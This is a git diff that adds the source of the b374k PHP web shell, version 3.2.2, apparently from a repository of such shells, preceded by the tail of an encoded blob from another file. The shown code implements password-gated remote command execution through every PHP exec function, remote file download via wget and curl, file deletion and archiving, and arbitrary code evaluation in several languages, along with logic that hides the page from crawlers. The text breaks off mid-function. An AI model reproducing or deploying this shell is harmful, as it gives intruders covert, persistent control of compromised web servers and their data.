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");?> \ No newline at end of file diff --git a/php/b374k/b374k-3.2.2.php b/php/b374k/b374k-3.2.2.php new file mode 100644 index 0000000..6133363 --- /dev/null +++ b/php/b374k/b374k-3.2.2.php @@ -0,0 +1,4535 @@ + + location.href='".get_self()."'; + + "; + echo $res; + } + } + + if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){ + $res = " +

+ + + "; + echo $res; + die(); + } + } + } +} + +if(!function_exists('get_server_info')){ + function get_server_info(){ + $server_info['uname'] = php_uname(); + $server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." | ":''; + $server_info['software'] = $server_software." PHP ".phpversion(); + $server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"]; + $server_info['ip_adrress'] = "Server IP : ".$server_addr." | Your IP : ".$_SERVER['REMOTE_ADDR']; + $server_info['time_at_server'] = "Time @ Server : ".@date("d M Y H:i:s",time()); + return $server_info; + } +} + +if(!function_exists('get_self')){ + function get_self(){ + $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; + return html_safe($_SERVER["REQUEST_URI"].$query); + } +} + +if(!function_exists('get_post')){ + function get_post(){ + return fix_magic_quote($_POST); + } +} + +if(!function_exists('get_nav')){ + function get_nav($path){ + return parse_dir($path); + } +} + +if(!function_exists('get_cwd')){ + function get_cwd(){ + $cwd = getcwd().DIRECTORY_SEPARATOR; + if(!isset($_COOKIE['cwd'])){ + setcookie("cwd", $cwd); + } + else{ + $cwd_c = rawurldecode($_COOKIE['cwd']); + if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; + else setcookie("cwd", $cwd); + } + return $cwd; + } +} + +if(!function_exists('wrap_with_quotes')){ + function wrap_with_quotes($str){ + return "\"".$str."\""; + } +} + +if(!function_exists('get_resource')){ + function get_resource($type){ + if(isset($GLOBALS['resources'][$type])){ + return gzinflate(base64_decode($GLOBALS['resources'][$type])); + } + return false; + } +} + +if(!function_exists('block_bot')){ + function block_bot(){ + // block search engine bot + if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); + } + elseif(!isset($_SERVER['HTTP_USER_AGENT'])){ + header("HTTP/1.0 404 Not Found"); + header("Status: 404 Not Found"); + die(); + } + } +} + +if(!function_exists('is_win')){ + function is_win(){ + return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; + } +} + +if(!function_exists('fix_magic_quote')){ + function fix_magic_quote($arr){ + $quotes_sybase = strtolower(ini_get('magic_quotes_sybase')); + if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){ + if(is_array($arr)){ + foreach($arr as $k=>$v){ + if(is_array($v)) $arr[$k] = clean($v); + else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); + } + } + } + return $arr; + } +} + +if(!function_exists('execute')){ + function execute($code){ + $output = ""; + $code = $code." 2>&1"; + + if(is_callable('system') && function_exists('system')){ + ob_start(); + @system($code); + $output = ob_get_contents(); + ob_end_clean(); + if(!empty($output)) return $output; + } + elseif(is_callable('shell_exec') && function_exists('shell_exec')){ + $output = @shell_exec($code); + if(!empty($output)) return $output; + } + elseif(is_callable('exec') && function_exists('exec')){ + @exec($code,$res); + if(!empty($res)) foreach($res as $line) $output .= $line; + if(!empty($output)) return $output; + } + elseif(is_callable('passthru') && function_exists('passthru')){ + ob_start(); + @passthru($code); + $output = ob_get_contents(); + ob_end_clean(); + if(!empty($output)) return $output; + } + elseif(is_callable('proc_open') && function_exists('proc_open')){ + $desc = array( + 0 => array("pipe", "r"), + 1 => array("pipe", "w"), + 2 => array("pipe", "w")); + $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); + if(is_resource($proc)){ + while($res = fgets($pipes[1])){ + if(!empty($res)) $output .= $res; + } + while($res = fgets($pipes[2])){ + if(!empty($res)) $output .= $res; + } + } + @proc_close($proc); + if(!empty($output)) return $output; + } + elseif(is_callable('popen') && function_exists('popen')){ + $res = @popen($code, 'r'); + if($res){ + while(!feof($res)){ + $output .= fread($res, 2096); + } + pclose($res); + } + if(!empty($output)) return $output; + } + return ""; + } +} + +if(!function_exists('html_safe')){ + function html_safe($str){ + return htmlspecialchars($str, 2 | 1); + } +} + +if(!function_exists('parse_dir')){ + function parse_dir($path){ + $path = realpath($path).DIRECTORY_SEPARATOR; + $paths = explode(DIRECTORY_SEPARATOR, $path); + $res = ""; + for($i = 0; $i < sizeof($paths)-1; $i++){ + $x = ""; + for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; + $res .= "".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." "; + } + if(is_win()) $res = get_drives().$res; + return trim($res); + } +} + +if(!function_exists('zip')){ + function zip($files, $archive){ + $status = false; + if(!extension_loaded('zip')) return $status; + if(class_exists("ZipArchive")){ + $zip = new ZipArchive(); + if(!$zip->open($archive, 1)) return $status; + + if(!is_array($files)) $files = array($files); + foreach($files as $file){ + $file = str_replace(get_cwd(), '', $file); + $file = str_replace('\\', '/', $file); + if(is_dir($file)){ + $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); + foreach($filesIterator as $iterator){ + $iterator = str_replace('\\', '/', $iterator); + if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue; + + if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/')); + else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator)); + } + } + elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); + } + if($zip->getStatusString()!==false) $status = true; + $zip->close(); + } + return $status; + } +} + +if(!function_exists('compress')){ + function compress($type, $archive, $files){ + if(!is_array($files)) $files = array($files); + if($type=='zip'){ + if(zip($files, $archive)) return true; + else return false; + } + elseif(($type=='tar')||($type=='targz')){ + $archive = basename($archive); + + $listsBasename = array_map("basename", $files); + $lists = array_map("wrap_with_quotes", $listsBasename); + + if($type=='tar') execute("tar cf \"".$archive."\" ".implode(" ", $lists)); + elseif($type=='targz') execute("tar czf \"".$archive."\" ".implode(" ", $lists)); + + if(is_file($archive)) return true; + else return false; + } + return false; + } +} + +if(!function_exists('decompress')){ + function decompress($type, $archive, $path){ + $path = realpath($path).DIRECTORY_SEPARATOR; + $status = false; + if(is_dir($path)){ + chdir($path); + if($type=='unzip'){ + if(class_exists('ZipArchive')){ + $zip = new ZipArchive(); + $target = $path.basename($archive,".zip"); + if($zip->open($archive)){ + if(!is_dir($target)) mkdir($target); + if($zip->extractTo($target)) $status = true; + $zip->close(); + } + } + } + elseif($type=='untar'){ + $target = basename($archive,".tar"); + if(!is_dir($target)) mkdir($target); + $before = count(get_all_files($target)); + execute("tar xf \"".basename($archive)."\" -C \"".$target."\""); + $after = count(get_all_files($target)); + if($before!=$after) $status = true; + + } + elseif($type=='untargz'){ + $target = ""; + if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); + elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); + + if(!is_dir($target)) mkdir($target); + $before = count(get_all_files($target)); + execute("tar xzf \"".basename($archive)."\" -C \"".$target."\""); + $after = count(get_all_files($target)); + if($before!=$after) $status = true; + } + } + return $status; + } +} + +if(!function_exists('download')){ + function download($url ,$saveas){ + if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false; + $filename = basename($url); + + if($content = read_file($url)){ + if(is_file($saveas)) unlink($saveas); + if(write_file($saveas, $content)){ + return true; + } + } + + $buff = execute("wget ".$url." -O ".$saveas); + if(is_file($saveas)) return true; + + $buff = execute("curl ".$url." -o ".$saveas); + if(is_file($saveas)) return true; + + $buff = execute("lwp-download ".$url." ".$saveas); + if(is_file($saveas)) return true; + + $buff = execute("lynx -source ".$url." > ".$saveas); + if(is_file($saveas)) return true; + + return false; + } +} + +if(!function_exists('get_fileperms')){ + function get_fileperms($file){ + if($perms = @fileperms($file)){ + $flag = 'u'; + if(($perms & 0xC000) == 0xC000)$flag = 's'; + elseif(($perms & 0xA000) == 0xA000)$flag = 'l'; + elseif(($perms & 0x8000) == 0x8000)$flag = '-'; + elseif(($perms & 0x6000) == 0x6000)$flag = 'b'; + elseif(($perms & 0x4000) == 0x4000)$flag = 'd'; + elseif(($perms & 0x2000) == 0x2000)$flag = 'c'; + elseif(($perms & 0x1000) == 0x1000)$flag = 'p'; + $flag .= ($perms & 00400)? 'r':'-'; + $flag .= ($perms & 00200)? 'w':'-'; + $flag .= ($perms & 00100)? 'x':'-'; + $flag .= ($perms & 00040)? 'r':'-'; + $flag .= ($perms & 00020)? 'w':'-'; + $flag .= ($perms & 00010)? 'x':'-'; + $flag .= ($perms & 00004)? 'r':'-'; + $flag .= ($perms & 00002)? 'w':'-'; + $flag .= ($perms & 00001)? 'x':'-'; + return $flag; + } + else return "???????????"; + } +} + +if(!function_exists('format_bit')){ + function format_bit($size){ + $base = log($size) / log(1024); + $suffixes = array('B','KB','MB','GB','TB','PB','EB','ZB','YB'); + return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; + } +} + +if(!function_exists('get_filesize')){ + function get_filesize($file){ + $size = @filesize($file); + if($size!==false){ + if($size<=0) return 0; + return format_bit($size); + } + else return "???"; + } +} + +if(!function_exists('get_filemtime')){ + function get_filemtime($file){ + return @date("d-M-Y H:i:s", filemtime($file)); + } +} + +if(!function_exists('get_fileowner')){ + function get_fileowner($file){ + $owner = "?:?"; + if(function_exists("posix_getpwuid")){ + $name = posix_getpwuid(fileowner($file)); + $group = posix_getgrgid(filegroup($file)); + $owner = $name['name'].":".$group['name']; + } + return $owner; + } +} + +if(!function_exists('rmdirs')){ + function rmdirs($dir, $counter = 0){ + if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; + if($dh = opendir($dir)){ + while(($f = readdir($dh))!==false){ + if(($f!='.')&&($f!='..')){ + $f = $dir.$f; + if(@is_dir($f)) $counter += rmdirs($f); + else{ + if(unlink($f)) $counter++; + } + } + } + closedir($dh); + if(rmdir($dir)) $counter++;; + } + return $counter; + } +} + +if(!function_exists('copys')){ + function copys($source , $target ,$c=0){ + $source = realpath($source).DIRECTORY_SEPARATOR; + if($dh = opendir($source)){ + if(!is_dir($target)) mkdir($target); + $target = realpath($target).DIRECTORY_SEPARATOR; + + while(($f = readdir($dh))!==false){ + if(($f!='.')&&($f!='..')){ + if(is_dir($source.$f)){ + copys($source.$f, $target.$f, $c); + } + else{ + if(copy($source.$f, $target.$f)) $c++; + } + } + } + closedir($dh); + } + return $c; + } +} + +if(!function_exists('get_all_files')){ + function get_all_files($path){ + $path = realpath($path).DIRECTORY_SEPARATOR; + $files = glob($path.'*'); + for($i = 0; $i"; + } + + $image_info = @getimagesize($file); + $mime_list = get_resource('mime'); + $mime = ""; + $file_ext_pos = strrpos($file, "."); + if($file_ext_pos!==false){ + $file_ext = trim(substr($file, $file_ext_pos),"."); + if(preg_match("/([^\s]+)\ .*\b".$file_ext."\b.*/i", $mime_list, $res)){ + $mime = $res[1]; + } + } + if($type=="auto"){ + if(is_array($image_info)) $type = 'image'; + //elseif(strtolower(substr($file,-3,3)) == "php") $type = "code"; + elseif(!empty($mime)) $type = "multimedia"; + else $type = "raw"; + } + + $content = ""; + if($type=="code"){ + $hl_arr = array( + "hl_default"=> ini_get('highlight.default'), + "hl_keyword"=> ini_get('highlight.keyword'), + "hl_string"=> ini_get('highlight.string'), + "hl_html"=> ini_get('highlight.html'), + "hl_comment"=> ini_get('highlight.comment') + ); + + + $content = highlight_string(read_file($file),true); + foreach($hl_arr as $k=>$v){ + $content = str_replace("", "", $content); + $content = str_replace("", "", $content); + } + } + elseif($type=="image"){ + $width = (int) $image_info[0]; + $height = (int) $image_info[1]; + $image_info_h = "Image type = ( ".$image_info['mime']." )
+ Image Size = ( ".$width." x ".$height." )
"; + if($width > 800){ + $width = 800; + $imglink = "

+ [ View Full Size ]

"; + } + else $imglink = ""; + + $content = "
".$image_info_h."
".$imglink." + ".$file."
+ "; + + } + elseif($type=="multimedia"){ + $content = "
+ +

Load Multimedia File

+
"; + } + elseif($type=="edit"){ + $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; + $content = "
save
preserve modification timestamp
"; + } + elseif($type=="hex"){ + $preservecbox = ($preserveTimestamp=='true')? " cBoxSelected":""; + $content = "
save
preserve modification timestamp
"; + } + else $content = "
".html_safe(read_file($file))."
"; + + + + $output .= " + + + + ".$owner." + + + + + + +
Filename".html_safe($file)."
Size".get_filesize($file)." (".filesize($file).")
Permission".get_fileperms($file)."
Create time".@date("d-M-Y H:i:s",filectime($file))."
Last modified".@date("d-M-Y H:i:s",filemtime($file))."
Last accessed".@date("d-M-Y H:i:s",fileatime($file))."
+ explorer + action + raw + code + hex + image + multimedia +
".$content."
"; + + + } + else $output = "error"; + return $output; + } +} + +if(!function_exists('get_writabledir')){ + function get_writabledir(){ + if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; + else{ + foreach(array('TMP', 'TEMP', 'TMPDIR') as $k){ + if(!empty($_ENV[$k])){ + if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; + } + } + if(function_exists("sys_get_temp_dir")){ + $dir = sys_get_temp_dir(); + if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; + } + else{ + if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } + } + + $tempfile = tempnam(__FILE__,''); + if(file_exists($tempfile)){ + $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; + unlink($tempfile); + return $dir; + } + } + return false; + } +} + +if(!function_exists('get_drives')){ + function get_drives(){ + $drives = ""; + $v = explode("\\", get_cwd()); + $v = $v[0]; + foreach (range("A", "Z") as $letter){ + if(@is_readable($letter.":\\")){ + $drives .= "[ "; + if($letter.":" != $v) $drives .= $letter; + else{$drives .= "".$letter."";} + $drives .= " ] "; + } + } + return $drives; + } +} + +if(!function_exists('show_all_files')){ + function show_all_files($path){ + if(!is_dir($path)) return "No such directory : ".$path; + chdir($path); + $output = ""; + $allfiles = $allfolders = array(); + if($res = opendir($path)){ + while($file = readdir($res)){ + if(($file!='.')&&($file!="..")){ + if(is_dir($file)) $allfolders[] = $file; + elseif(is_file($file))$allfiles[] = $file; + } + } + } + + array_unshift($allfolders, "."); + $cur = getcwd(); + chdir(".."); + if(getcwd()!=$cur) array_unshift($allfolders, ".."); + chdir($cur); + + natcasesort($allfolders); + natcasesort($allfiles); + + $cols = array(); + if(is_win()){ + $cols = array( + "perms"=>"get_fileperms", + "modified"=>"get_filemtime" + ); + } + else{ + $cols = array( + "owner"=>"get_fileowner", + "perms"=>"get_fileperms", + "modified"=>"get_filemtime" + ); + } + + $totalFiles = count($allfiles); + $totalFolders = 0; + + $output .= ""; + $output .= ""; + + foreach($cols as $k=>$v){ + $output .= ""; + } + $output .= ""; + + foreach($allfolders as $d){ + $cboxException = ""; + if(($d==".")||($d=="..")){ + $action = "actiondot"; + $cboxException = " cBoxException"; + } + else{ + $action = "actionfolder"; + $totalFolders++; + } + $output .= " + + + "; + foreach($cols as $k=>$v){ + $sortable = ""; + if($k=='modified') $sortable = " title='".filemtime($d)."'"; + $output .= "".$v($d).""; + } + $output .= ""; + } + foreach($allfiles as $f){ + $output .= " + + + "; + foreach($cols as $k=>$v){ + $sortable = ""; + if($k=='modified') $sortable = " title='".filemtime($f)."'"; + $output .= "".$v($f).""; + } + $output .= ""; + } + $output .= ""; + + $colspan = 1 + count($cols); + $output .= " + + "; + $output .= "
namesize".$k."
[ ".html_safe($d)." ]actionDIR
".html_safe($f)."action".get_filesize($f)."
+ +
".$totalFiles." file(s), ".$totalFolders." Folder(s)
"; + return $output; + } +} + +if(!function_exists('eval_get_supported')){ + function eval_get_supported(){ + $eval_supported = array(); + + $eval_supported[] = "php"; + + $check = strtolower(execute("python -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "python"; + + $check = strtolower(execute("perl -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; + + $check = strtolower(execute("ruby -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; + + $check = strtolower(execute("node -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "node"; + else{ + $check = strtolower(execute("nodejs -h")); + if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; + } + + $check = strtolower(execute("gcc --help")); + if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; + + $check = strtolower(execute("java -help")); + if(strpos($check,"usage")!==false){ + $check = strtolower(execute("javac -help")); + if(strpos($check,"usage")!==false) $eval_supported[] = "java"; + } + + return implode(",", $eval_supported); + } +} + +if(!function_exists('eval_go')){ + function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ + $res = ""; + $output = ""; + if($evalOptions!="") $evalOptions = $evalOptions." "; + if($evalArguments!="") $evalArguments = " ".$evalArguments; + + if($evalType=="php"){ + ob_start(); + eval($evalCode); + $res = ob_get_contents(); + ob_end_clean(); + return $res; + } + elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ + $tmpdir = get_writabledir(); + chdir($tmpdir); + + $res .= "Using dir : ".$tmpdir; + if(is_writable($tmpdir)){ + $res .= " (writable)\n"; + $uniq = substr(md5(time()),0,8); + $filename = $evalType.$uniq; + $path = $filename; + $res .= "Temporary file : ".$path; + if(write_file($path, $evalCode)){ + $res .= " (ok)\n"; + $res .= "Setting permissions : 0755"; + if(chmod($path, 0755)){ + $res .= " (ok)\n"; + $cmd = $evalType." ".$evalOptions.$path.$evalArguments; + $res .= "Execute : ".$cmd."\n"; + $output = execute($cmd); + } + else $res .= " (failed)\n"; + + $res .= "Deleting temporary file : ".$path; + if(unlink($path)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + } + else $res .= " (not writable)\n"; + + $res .= "Finished..."; + return $res."{[|b374k|]}".$output; + } + elseif($evalType=="gcc"){ + $tmpdir = get_writabledir(); + chdir($tmpdir); + + $res .= "Using dir : ".$tmpdir; + if(is_writable($tmpdir)){ + $res .= " (writable)\n"; + $uniq = substr(md5(time()),0,8); + $filename = $evalType.$uniq.".c"; + $path = $filename; + $res .= "Temporary file : ".$path; + if(write_file($path, $evalCode)){ + $res .= " (ok)\n"; + $ext = (is_win())? ".exe":".out"; + $pathres = $filename.$ext; + $evalOptions = "-o ".$pathres." ".$evalOptions; + $cmd = "gcc ".$evalOptions.$path; + $res .= "Compiling : ".$cmd; + $res .= execute($cmd); + if(is_file($pathres)){ + $res .= " (ok)\n"; + $res .= "Setting permissions : 0755"; + if(chmod($pathres, 0755)){ + $res .= " (ok)\n"; + $cmd = $pathres.$evalArguments; + $res .= "Execute : ".$cmd."\n"; + $output = execute($cmd); + } + else $res .= " (failed)\n"; + $res .= "Deleting temporary file : ".$pathres; + if(unlink($pathres)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + $res .= "Deleting temporary file : ".$path; + if(unlink($path)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + } + else $res .= " (not writable)\n"; + + $res .= "Finished..."; + return $res."{[|b374k|]}".$output; + } + elseif($evalType=="java"){ + $tmpdir = get_writabledir(); + chdir($tmpdir); + + $res .= "Using dir : ".$tmpdir; + if(is_writable($tmpdir)){ + $res .= " (writable)\n"; + + if(preg_match("/class\ ([^{]+){/i",$evalCode, $r)){ + $classname = trim($r[1]); + $filename = $classname; + } + else{ + $uniq = substr(md5(time()),0,8); + $filename = $evalType.$uniq; + $evalCode = "class ".$filename." { ".$evalCode . " } "; + } + + $path = $filename.".java"; + $res .= "Temporary file : ".$path; + if(write_file($path, $evalCode)){ + $res .= " (ok)\n"; + $cmd = "javac ".$evalOptions.$path; + $res .= "Compiling : ".$cmd; + $res .= execute($cmd); + $pathres = $filename.".class"; + if(is_file($pathres)){ + $res .= " (ok)\n"; + $res .= "Setting permissions : 0755"; + if(chmod($pathres, 0755)){ + $res .= " (ok)\n"; + $cmd = "java ".$filename.$evalArguments; + $res .= "Execute : ".$cmd."\n"; + $output = execute($cmd); + } + else $res .= " (failed)\n"; + $res .= "Deleting temporary file : ".$pathres; + if(unlink($pathres)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + $res .= "Deleting temporary file : ".$path; + if(unlink($path)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + } + else $res .= " (not writable)\n"; + + $res .= "Finished..."; + return $res."{[|b374k|]}".$output; + } + elseif($evalType=="executable"){ + $tmpdir = get_writabledir(); + chdir($tmpdir); + + $res .= "Using dir : ".$tmpdir; + if(is_writable($tmpdir)){ + $res .= " (writable)\n"; + $uniq = substr(md5(time()),0,8); + $filename = $evalType.$uniq.".exe"; + $path = $filename; + $res .= "Temporary file : ".$path; + if(write_file($path, $evalCode)){ + $res .= " (ok)\n"; + $cmd = $path.$evalArguments; + $res .= "Execute : ".$cmd."\n"; + $output = execute($cmd); + + $res .= "Deleting temporary file : ".$path; + if(unlink($path)) $res .= " (ok)\n"; + else $res .= " (failed)\n"; + } + else $res .= " (failed)\n"; + } + else $res .= " (not writable)\n"; + + $res .= "Finished..."; + return $res."{[|b374k|]}".$output; + } + return false; + } +} + +if(!function_exists('output')){ + function output($str){ + $error = @ob_get_contents(); + @ob_end_clean(); + header("Content-Type: text/plain"); + header("Cache-Control: no-cache"); + header("Pragma: no-cache"); + echo $str; + die(); + } +} +block_bot(); +auth(); +chdir(get_cwd()); +$nav = get_nav(get_cwd()); +$p = array_map("rawurldecode", get_post()); +$cwd = html_safe(get_cwd()); +$GLOBALS['module'] = array(); + +$explorer_content = ""; +if(isset($p['viewEntry'])){ + $path = trim($p['viewEntry']); + 